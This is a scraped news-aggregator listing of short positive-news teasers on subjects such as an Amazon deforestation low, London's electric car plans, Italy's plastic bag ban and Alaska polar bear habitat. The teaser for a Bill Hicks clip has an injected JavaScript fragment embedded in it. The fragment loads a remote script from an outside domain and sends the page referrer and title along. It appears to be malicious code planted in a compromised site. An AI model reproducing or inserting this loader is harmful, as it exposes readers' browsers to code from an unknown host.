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Giant yellow teddy bear to brighten up the centre of New York

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Giant yellow teddy bear to brighten up the centre of New York

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London has Paddington Bear but New York now has a giant yellow teddy bear, a great sculptural masterpiece that could sell for more than $9 million at auction in May. A 23-foot high, bronze teddy bear slumped und...

Confessions Of An Economic Hitman

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Confessions Of An Economic Hitman

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John Perkins, self-confessed economic hitman, provides the narration for this short animation showing how our form of "mutant, viral form of capitalism" is destroying individual countries, and the world. A summary ...

Amazon deforestation at record low, data shows

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Amazon deforestation at record low, data shows

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Rate of illegal logging has fallen, but critics claim Brazil has weakened protection measures by revising Forest Code Deforestation of the Amazon has fallen to its lowest levels since records began, according to da...

Make the climate debate about bills – not bears

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Make the climate debate about bills – not bears

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By - Caroline Flint MP of guardian.co.uk "To build public support, we have to speak about climate change in a way that addresses concerns about prices, jobs and security" I have a simple rule of thumb for everyt...

Bill Hicks – It’s Just a Ride

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Bill Hicks – It’s Just a Ride

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Comedian Bill Hicks on LIFE...s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

London to become ‘electric car capital’

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London to become ‘electric car capital’

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Mayor Boris Johnson has announced he wants London to become the “electric driving capital of the world.” The London Mayor was speaking at the launch of the first city-wide electric vehicle charging network, provi...

Oxfam Unwrapped: Charity launches online shop for ethical weddings

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Oxfam Unwrapped: Charity launches online shop for ethical weddings

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Oxfam is launching its first online wedding shop, offering couples an ethical choice for their big day with the added comfort of shopping from home. Oxfam Unwrapped wedding lists were launched in 2007 and have rais...

Australia setting up world’s largest marine preserve

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Australia setting up world’s largest marine preserve

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Australia moved to set up the world's biggest marine park on Friday to protect vast areas of the Coral Sea off the country's northeast coast and the site of fierce naval battles during World War Two. Environment ...

Italy to Ban Plastic Shopping Bags January 1

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Italy to Ban Plastic Shopping Bags January 1

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Italy is banning the use of plastic shopping bags across the country starting January 1 and requiring shops and markets to switch to biodegradable bags. Italian government is thought to be the first in the Europ...

Garlic could help people with high blood pressure, University of Adelaide study finds

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Garlic could help people with high blood pressure, University of Adelaide study finds

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Researchers in Australia have found that garlic extract may be helpful for people already being treated for high blood pressure. The study by the University of Adelaide looked at the effects of aged garlic extra...

Green rooftops help clean up Beijing’s air

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Green rooftops help clean up Beijing’s air

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As public debate on air pollution heats up, many are increasingly looking to the Chinese capital’s skies to cool rapid urbanization with more greenery. The Beijing municipal government has already announced plans t...

Can “Living” Buildings Help Fight Climate Change?

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Can “Living” Buildings Help Fight Climate Change?

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New research suggests protocell "skins" could be the secret to building carbon-negative architecture. Researchers in Europe are collaborating on a project to develop materials that could eventually make it possible ...

Rebecca Black Donating ‘Friday’ Proceeds to Japan

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Rebecca Black Donating ‘Friday’ Proceeds to Japan

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YouTube singing star Rebecca Black is using her overnight fame for a good cause. The 13-year-old singer, who touched off a nerve with her budget hit, "Friday," told Us magazine she will donate the profits of her iT...

Sweet Bait Lures Malaria Mosquitoes

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Sweet Bait Lures Malaria Mosquitoes

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In other Mosquito related news!.... Powerful bait effectively attracts and kills malaria-infected mosquitoes but is completely harmless to humans, other animals Israeli researchers say they have developed a powe...

Israeli extends helping hand to sick Palestinians

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Israeli extends helping hand to sick Palestinians

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Jerusalem (CNN) -- Aya Abu Mouwais, a 3-year-old who lives in the West Bank, can barely walk or talk because of a failing kidney and liver. For much of her life, the Palestinian child has needed dialysis to survive...

Can we eat to starve cancer?

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Can we eat to starve cancer?

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From the fantastic series of talks on www.ted.com we present:- William Li presents a new way to think about treating cancer and other diseases: anti-angiogenesis, preventing the growth of blood vessels that feed ...

Turning Saltwater From Earth and Sea Into Water Fit to Drink

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Turning Saltwater From Earth and Sea Into Water Fit to Drink

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SAN ANTONIO — Drilling rigs in the midst of cow pastures are hardly a novelty for Texans. But on a warm May day at a site about 30 miles south of San Antonio, a rig was not trying to reach oil or fresh water, but rath...

UK needs green economics minister, advisers urge

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UK needs green economics minister, advisers urge

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PositiveTv would like to add it's weight to the call to create this post too. The UK government should create a new ministerial post for green economics, an international policy group that includes MPs past and p...

Brazil judge blocks Amazon Belo Monte dam

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Brazil judge blocks Amazon Belo Monte dam

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A Brazilian judge has blocked plans to build a huge hydro-electric dam in the Amazon rainforest because of environmental concerns. Federal judge Ronaldo Desterro said environmental requirements to build the Belo Mo...

‘Critical habitat’ set aside in Alaska for polar bears

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‘Critical habitat’ set aside in Alaska for polar bears

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(CNN) -- The setting aside of 187,000 square miles in Alaska as "critical habitat" for polar bears could have an impact on oil and gas drilling, federal and environmental officials said Wednesday. The U.S. Fish ...